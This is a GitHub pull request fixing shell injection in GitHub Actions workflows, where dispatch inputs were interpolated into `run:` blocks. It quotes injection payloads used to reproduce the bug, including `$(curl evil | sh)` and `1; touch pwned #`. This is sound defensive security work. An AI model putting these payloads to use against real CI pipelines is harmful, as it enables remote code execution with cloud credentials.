Repository navigation
sec(ci): stop interpolating migration inputs into run blocks - #1726
Conversation
|
Warning Review limit reachedYou’ve reached a temporary PR review limit under our Fair Usage Limits Policy. Next review available in: 10 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (4)
Comment |
`database-migration.yml` pasted `${{ inputs.direction }}` and
`${{ inputs.steps }}` directly into the shell source of every `migrate-*`
job's `run:` block. GitHub substitutes `${{ }}` expressions into the
script text before bash ever parses it, so a `steps` value such as
`1; touch pwned #` executed as code on the `direction=up` path, which had
no guard at all.
The `direction=down` path did have a regex guard, but the guard itself
ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]`
means the payload is already substituted into the condition before bash
evaluates it, so a value like `$(curl evil | sh)` runs as part of
evaluating the guard's own `[[ ... ]]` test, before the guard can reject
anything. The guard validates the output of an already-executed payload,
not the payload itself.
Reproduced both cases locally: rendering the pre-fix template with a
malicious `steps` value and executing it created a marker file in both
the unguarded `up` path and the "rejected" `down` path (the guard printed
its refusal and exited 1, but the injected command had already run by
then).
Changes to database-migration.yml:
- Route every `inputs.*` value through `env:` and reference the quoted
shell variable, so GitHub only ever substitutes them into a scalar env
var assignment, never into script text. No `${{ }}` remains in any
`run:` block in this file. Re-running the same payloads through the
fixed logic (as real env vars, matching how the runner actually passes
them) confirms both are now rejected as inert data with no execution.
- Validate `steps` for `direction=up` too, not only `down` (defense in
depth, both in `validate` and again in each `migrate-*` job).
- Validate the `workflow_call` string inputs (`cloud`, `environment`,
`direction`) against an explicit allowlist in `validate`.
`workflow_dispatch` constrains these via `type: choice`, enforced
server-side, but `workflow_call` typed them as free-form strings with
no such enforcement.
- Drop `id-token: write` to job level, granted only to the
environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs.
`validate` and `summary` never authenticate to a cloud provider.
Also fixed the byte-identical injection in deploy-gcp.yml,
deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's
"Determine environment" step had the exact line
`echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`,
already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in
these three siblings. Unlike database-migration.yml's migrate-* jobs,
`prepare` in these three files is both ungated (no `environment:`
binding) and still holds workflow-level `id-token: write`, so this was
the more severe ungated-and-credentialed shape. Mirrored the exact
pattern #1657 already established and merged: case-based dispatch
through `env:` plus the same workflow_call allowlist check.
Verified with actionlint (v1.7.12): diffed findings against each
unmodified file on origin/main. Zero new findings introduced anywhere;
every remaining finding is pre-existing shellcheck debt in code this
change does not touch. `act -l` confirms all four job graphs still
parse.
Closes #1647
c2ff4bf to
ce437a3
Compare
Adversarial review — PR #1726 @
|
|
Merging on a clean independent adversarial review plus green CI. CodeRabbit has posted no verdict; its quota is shared across the open PRs and throttled. The review reproduced the load-bearing claim rather than accepting it: it extracted the real pre-fix It also independently confirmed the sweep was complete — a YAML-aware scanner over all 16 workflows walking every mapping key named Three minor findings recorded on the review, none blocking, all filed or noted rather than lost. |
Summary
database-migration.ymlinterpolated${{ inputs.direction }}and${{ inputs.steps }}directly into the shell source of everymigrate-*job'srun:block. This closes the injection and the specific "guard runs after interpolation" trap named in the issue title, and fixes the byte-identical pattern found in three sibling files during the required repo-wide sweep.Does the post-interpolation guard work the way the title describes? Yes, confirmed
GitHub Actions substitutes
${{ ... }}expressions into therun:script text before bash ever parses that text. So for thedirection=downguard:if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; thena
stepsvalue of$(curl evil | sh)is substituted first, producing:bash then evaluates the command substitution while evaluating the guard's own condition, before the guard can reject anything. The guard validates the string that a payload produced, not the payload itself, by which point the payload already ran.
I reproduced this locally rather than asserting it from reading the YAML: rendered the pre-fix template with
python3string substitution (mirroring exactly what GitHub's templating does), then executed the rendered script.direction=uppath (no guard at all): payload1; touch PWNED_OLD #asstepsexecutedtouchdirectly. Confirmed file created.direction=downpath (the "guard"): payload$(touch PWNED_GUARD)assteps. The script printed "Refusing to roll back..." and exited 1 (the guard "worked", from the workflow's perspective) — and the marker file was still created, proving the injected command ran during the guard's own condition evaluation, before the rejection.Then ran the fixed logic with the same two payloads delivered as real environment variables (
STEPS='...' bash new_fixed_up.sh, matching how the runner actually passesenv:values) — both were rejected as inert string data with zero execution, in either path.Fix (database-migration.yml)
inputs.*value throughenv:and reference the quoted shell variable. No${{ }}remains in anyrun:block in this file — matches the standard set by the already-merged fix(ci): stop interpolating dispatch inputs into rollback run blocks #1641 (rollback.yml) and fix(ci): stop interpolating the release tag into a run block #1657 (deploy-aws-lambda.yml).stepsfordirection=uptoo, not onlydown(the issue's explicit finding: "any other value passesvalidateuntouched"). Checked invalidateand again in eachmigrate-*job as defense in depth, mirroring the existing down-path pattern.workflow_callstring inputs (cloud,environment,direction) against an explicit allowlist invalidate.workflow_dispatchconstrains these viatype: choice(server-side enforced);workflow_calltyped them as free-form strings with no such enforcement — this was the "latentworkflow_callsurface" the issue flagged.id-token: writeto job level, granted only to the environment-boundmigrate-aws/migrate-gcp/migrate-azurejobs.validateandsummarynever authenticate to a cloud provider.${{ env.MIGRATIONS_PATH }}(a static, non-attacker-controlled workflow-level value) is referenced as$MIGRATIONS_PATHdirectly — it's already exported as a real shell env var by GitHub for every step in the workflow, so the${{ }}wrapper was redundant once everything else was being converted for consistency.Sibling sweep (as requested)
Grepped
.github/workflows/*.ymlfor${{ inputs.* }}/${{ github.event.* }}reaching arun:block. Findings, classified:deploy-gcp.yml${{ inputs.environment }}deploy-aws-fargate.yml${{ inputs.environment }}deploy-azure.yml${{ inputs.environment }}deploy-all.yml${{ inputs.deploy_to || 'all' }}deploy-all.ymlhas noworkflow_calltrigger, soinputs.deploy_tois alwaystype: choice, server-side enforced. Left as-is (out of scope, not byte-identical to the vulnerable pattern since there's no free-text path).${{ github.event_name }}The three fixed occurrences were more severe than database-migration.yml's: each
preparejob is completely ungated (noenvironment:binding) and still holds workflow-levelid-token: writein all three files — the same ungated-and-credentialed shape #1657 fixed indeploy-aws-lambda.ymland #1641 fixed inrollback.yml, just not yet applied here. I mirrored that exact already-merged pattern (case-based dispatch throughenv:+ explicit workflow_call allowlist) rather than inventing a new one.Scope note: I fixed only the byte-identical interpolation line in each of the three sibling files (the
preparejob's "Determine environment" step), not a full rewrite of those files. Each has other${{ }}usages inrun:blocks (Terraform apply steps, deployment-info heredocs, etc.) that reference either GitHub-safe values (github.actor,github.sha) or values already validated by this fix (needs.prepare.outputs.environment) — none are raw untrusted string paths, so I left them untouched per the proportionate-fix constraint. Flagging for awareness, not fixing here.Also flagging, not fixing: these three files still declare
permissions: id-token: writeat workflow level (all jobs includingprepare,test-deployment,summaryinherit it), matching the class tracked by LeanerCloud/cloud-commitments-platform#140 ("workflows grantingid-token: writeto ungated jobs"). Scoping that down to job level the way #1641/#1657 did is a larger, separate change than "env indirection and guard ordering" — leaving it for LeanerCloud/cloud-commitments-platform#140 or a dedicated follow-up rather than expanding this PR.Verification
origin/mainversion (same method as PR fix(ci): grant id-token permissions to deploy-all.yml caller jobs #1724): zero new finding types introduced in any of the four files. Every remaining finding (SC2086/SC2012/style, allinfo/styleseverity) is pre-existing shellcheck debt inrun:blocks this change does not touch (the Terraform-endpoint steps' unquoted$GITHUB_OUTPUT, anlsvsfindstyle suggestion).act -lon all four changed workflow files: job graphs parse correctly with the newenv:/permissions:blocks in place (workflow_dispatch,workflow_call, andpushwhere applicable).upanddownpaths, then re-ran the fixed logic against the identical payloads and confirmed rejection with no execution.Scope
env:indirection, guard ordering/coverage, workflow_call input validation, and job-levelid-tokenscoping only — the same four items the issue's "Fix direction" section named, applied todatabase-migration.yml, plus the byte-identical pattern in three siblings. No concurrency groups (#1593), no Terraform backend config changes (#1589), no version pin changes (#1588), no restructuring beyond what's described above.Closes #1647